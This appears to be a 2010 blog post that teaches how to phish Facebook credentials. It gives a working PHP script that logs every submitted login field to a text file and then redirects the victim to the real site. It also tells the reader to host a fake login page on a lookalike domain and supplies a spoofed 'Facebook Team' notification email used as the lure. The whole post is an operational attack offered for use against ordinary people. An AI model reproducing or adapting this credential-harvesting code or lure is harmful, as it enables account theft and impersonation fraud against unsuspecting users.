Friday, May 7, 2010

New FaceBook Phisher

In this tutorial im going to tell you have to make a fake login page.
This method works for most of the pages but i have chosen Facebook as an example.

Part 1:

First we create a PHP script that will save the passwords in a text file.

---Open notepad and put this code:



header ('Location: http://login.facebook.com ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Now save this as phish.php


header ('Location: http://login.facebook.com ')
This URL is the url where the victim is redirected after logging in to you fake page.I have chosen the page where is the real login place because i didn't find where it say wrong password. And if someone find it let me know it please

Part 2:.

Now go there ; copy the code ; past it in a notepad and save it as " login.php "

Part 3 :

Upload these 2 files(login.php and phish.php) to a webhost that supports PHP and you ready to go.Just give your victim the link to your Login.php file and every time they login that php script will create a file named passwords.txt in the same directory as login.php and phish.php.Just open the password.txt and you will see the passwords.

The login.php link should be something like this:

http://faceb00kcomnphotophpid8268738....com/login.php

Just and example.

Dont click on this one,Its my fake login.

To make it more real, create an hotmail account like : facebooknotify@hotmail.com

Send a message to the victim. In the subject space, write something like


PersonName commented on a photo of you:

"Hey PersonName, come see my comment and click on my picture to see all my private pictures"


To see the comment thread, follow the link below:

http://www.facebook.com/n/?photo.php&p...mp;id=728929277

Thanks,
The Facebook Team
___
Want to control which emails you receive from Facebook? Go to:


http://www.facebook.com/editaccount.php?no....TYxODQ1NTgwMA==

http://www.facebook.com/n/?photo.php&pid=1935528&id=728929277
Select it and click on the hyperlink icon. In the hyperlink space, write your fake login page url.

No comments: